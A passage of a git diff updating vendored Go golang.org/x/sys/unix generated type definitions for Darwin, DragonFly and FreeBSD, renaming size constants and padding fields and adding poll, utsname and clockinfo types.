-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type Termios struct {
-@@ -460,3 +460,40 @@ const (
- AT_SYMLINK_FOLLOW = 0x40
- AT_SYMLINK_NOFOLLOW = 0x20
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_darwin_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_darwin_amd64.go
-index 2619155f..966798a8 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_darwin_amd64.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -26,9 +26,9 @@ type Timespec struct {
- }
-
- type Timeval struct {
-- Sec int64
-- Usec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
- }
-
- type Timeval32 struct {
-@@ -63,25 +63,25 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev int32
-- Mode uint16
-- Nlink uint16
-- Ino uint64
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Pad_cgo_0 [4]byte
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare [2]int64
-+ Dev int32
-+ Mode uint16
-+ Nlink uint16
-+ Ino uint64
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ _ [4]byte
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare [2]int64
- }
-
- type Statfs_t struct {
-@@ -120,9 +120,9 @@ type Fstore_t struct {
- }
-
- type Radvisory_t struct {
-- Offset int64
-- Count int32
-- Pad_cgo_0 [4]byte
-+ Offset int64
-+ Count int32
-+ _ [4]byte
- }
-
- type Fbootstraptransfer_t struct {
-@@ -132,9 +132,9 @@ type Fbootstraptransfer_t struct {
- }
-
- type Log2phys_t struct {
-- Flags uint32
-- Pad_cgo_0 [8]byte
-- Pad_cgo_1 [8]byte
-+ Flags uint32
-+ _ [8]byte
-+ _ [8]byte
- }
-
- type Fsid struct {
-@@ -142,13 +142,13 @@ type Fsid struct {
- }
-
- type Dirent struct {
-- Ino uint64
-- Seekoff uint64
-- Reclen uint16
-- Namlen uint16
-- Type uint8
-- Name [1024]int8
-- Pad_cgo_0 [3]byte
-+ Ino uint64
-+ Seekoff uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Type uint8
-+ Name [1024]int8
-+ _ [3]byte
- }
-
- type RawSockaddrInet4 struct {
-@@ -221,10 +221,10 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -303,14 +303,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -346,51 +346,51 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfmaMsghdr2 struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Refcount int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Refcount int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -426,9 +426,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -439,22 +439,22 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval32
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval32
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type Termios struct {
-- Iflag uint64
-- Oflag uint64
-- Cflag uint64
-- Lflag uint64
-- Cc [20]uint8
-- Pad_cgo_0 [4]byte
-- Ispeed uint64
-- Ospeed uint64
-+ Iflag uint64
-+ Oflag uint64
-+ Cflag uint64
-+ Lflag uint64
-+ Cc [20]uint8
-+ _ [4]byte
-+ Ispeed uint64
-+ Ospeed uint64
- }
-
- type Winsize struct {
-@@ -470,3 +470,40 @@ const (
- AT_SYMLINK_FOLLOW = 0x40
- AT_SYMLINK_NOFOLLOW = 0x20
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_darwin_arm.go b/vendor/golang.org/x/sys/unix/ztypes_darwin_arm.go
-index 4dca0d4d..4fe4c9cd 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_darwin_arm.go
-@@ -7,11 +7,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -60,24 +60,24 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev int32
-- Mode uint16
-- Nlink uint16
-- Ino uint64
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare [2]int64
-+ Dev int32
-+ Mode uint16
-+ Nlink uint16
-+ Ino uint64
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare [2]int64
- }
-
- type Statfs_t struct {
-@@ -137,13 +137,13 @@ type Fsid struct {
- }
-
- type Dirent struct {
-- Ino uint64
-- Seekoff uint64
-- Reclen uint16
-- Namlen uint16
-- Type uint8
-- Name [1024]int8
-- Pad_cgo_0 [3]byte
-+ Ino uint64
-+ Seekoff uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Type uint8
-+ Name [1024]int8
-+ _ [3]byte
- }
-
- type RawSockaddrInet4 struct {
-@@ -296,14 +296,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -339,51 +339,51 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfmaMsghdr2 struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Refcount int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Refcount int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -431,11 +431,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type Termios struct {
-@@ -461,3 +461,40 @@ const (
- AT_SYMLINK_FOLLOW = 0x40
- AT_SYMLINK_NOFOLLOW = 0x20
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_darwin_arm64.go b/vendor/golang.org/x/sys/unix/ztypes_darwin_arm64.go
-index f2881fd1..21999e4b 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_darwin_arm64.go
-@@ -1,15 +1,16 @@
-+// cgo -godefs types_darwin.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
- // +build arm64,darwin
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_darwin.go
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -25,9 +26,9 @@ type Timespec struct {
- }
-
- type Timeval struct {
-- Sec int64
-- Usec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
- }
-
- type Timeval32 struct {
-@@ -62,25 +63,25 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev int32
-- Mode uint16
-- Nlink uint16
-- Ino uint64
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Pad_cgo_0 [4]byte
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare [2]int64
-+ Dev int32
-+ Mode uint16
-+ Nlink uint16
-+ Ino uint64
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ _ [4]byte
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare [2]int64
- }
-
- type Statfs_t struct {
-@@ -119,9 +120,9 @@ type Fstore_t struct {
- }
-
- type Radvisory_t struct {
-- Offset int64
-- Count int32
-- Pad_cgo_0 [4]byte
-+ Offset int64
-+ Count int32
-+ _ [4]byte
- }
-
- type Fbootstraptransfer_t struct {
-@@ -131,9 +132,9 @@ type Fbootstraptransfer_t struct {
- }
-
- type Log2phys_t struct {
-- Flags uint32
-- Pad_cgo_0 [8]byte
-- Pad_cgo_1 [8]byte
-+ Flags uint32
-+ _ [8]byte
-+ _ [8]byte
- }
-
- type Fsid struct {
-@@ -141,13 +142,13 @@ type Fsid struct {
- }
-
- type Dirent struct {
-- Ino uint64
-- Seekoff uint64
-- Reclen uint16
-- Namlen uint16
-- Type uint8
-- Name [1024]int8
-- Pad_cgo_0 [3]byte
-+ Ino uint64
-+ Seekoff uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Type uint8
-+ Name [1024]int8
-+ _ [3]byte
- }
-
- type RawSockaddrInet4 struct {
-@@ -220,10 +221,10 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -302,14 +303,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -345,51 +346,51 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfmaMsghdr2 struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Refcount int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Refcount int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -425,9 +426,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -438,22 +439,22 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval32
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval32
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type Termios struct {
-- Iflag uint64
-- Oflag uint64
-- Cflag uint64
-- Lflag uint64
-- Cc [20]uint8
-- Pad_cgo_0 [4]byte
-- Ispeed uint64
-- Ospeed uint64
-+ Iflag uint64
-+ Oflag uint64
-+ Cflag uint64
-+ Lflag uint64
-+ Cc [20]uint8
-+ _ [4]byte
-+ Ispeed uint64
-+ Ospeed uint64
- }
-
- type Winsize struct {
-@@ -469,3 +470,40 @@ const (
- AT_SYMLINK_FOLLOW = 0x40
- AT_SYMLINK_NOFOLLOW = 0x20
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_dragonfly_amd64.go
-index 67c6bf88..71ea1d6d 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_dragonfly_amd64.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -56,43 +56,26 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Ino uint64
-- Nlink uint32
-- Dev uint32
-- Mode uint16
-- Padding1 uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare1 int64
-- Qspare2 int64
-+ Ino uint64
-+ Nlink uint32
-+ Dev uint32
-+ Mode uint16
-+ _1 uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare1 int64
-+ Qspare2 int64
- }
-
- type Statfs_t struct {
-@@ -108,7 +91,7 @@ type Statfs_t struct {
- Owner uint32
- Type int32
- Flags int32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Syncwrites int64
- Asyncwrites int64
- Fstypename [16]int8
-@@ -118,7 +101,7 @@ type Statfs_t struct {
- Spares1 int16
- Mntfromname [80]int8
- Spares2 int16
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Spare [2]int64
- }
-
-@@ -143,6 +126,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -215,10 +202,10 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -290,14 +277,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -307,7 +294,7 @@ type IfData struct {
- Hdrlen uint8
- Recvquota uint8
- Xmitquota uint8
-- Pad_cgo_0 [2]byte
-+ _ [2]byte
- Mtu uint64
- Metric uint64
- Link_state uint64
-@@ -329,24 +316,24 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfAnnounceMsghdr struct {
-@@ -359,19 +346,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint64
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint64
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -387,7 +374,7 @@ type RtMetrics struct {
- Hopcount uint64
- Mssopt uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Msl uint64
- Iwmaxsegs uint64
- Iwcapsegs uint64
-@@ -412,9 +399,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -425,11 +412,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [6]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [6]byte
- }
-
- type Termios struct {
-@@ -442,7 +429,51 @@ type Termios struct {
- Ospeed uint32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = 0xfffafdcd
- AT_SYMLINK_NOFOLLOW = 0x1
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [32]byte
-+ Nodename [32]byte
-+ Release [32]byte
-+ Version [32]byte
-+ Machine [32]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_freebsd_386.go b/vendor/golang.org/x/sys/unix/ztypes_freebsd_386.go
-index 5b28bcbb..2a3ec615 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_freebsd_386.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -57,41 +57,55 @@ type Rlimit struct {
- type _Gid_t uint32
-
- const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
-+ _statfsVersion = 0x20140518
-+ _dirblksiz = 0x400
- )
-
- type Stat_t struct {
-- Dev uint32
-- Ino uint32
-- Mode uint16
-- Nlink uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Birthtimespec Timespec
-- Pad_cgo_0 [8]byte
-+ Dev uint64
-+ Ino uint64
-+ Nlink uint64
-+ Mode uint16
-+ _0 int16
-+ Uid uint32
-+ Gid uint32
-+ _1 int32
-+ Rdev uint64
-+ _ int32
-+ Atim Timespec
-+ _ int32
-+ Mtim Timespec
-+ _ int32
-+ Ctim Timespec
-+ _ int32
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint64
-+ Spare [10]uint64
-+}
-+
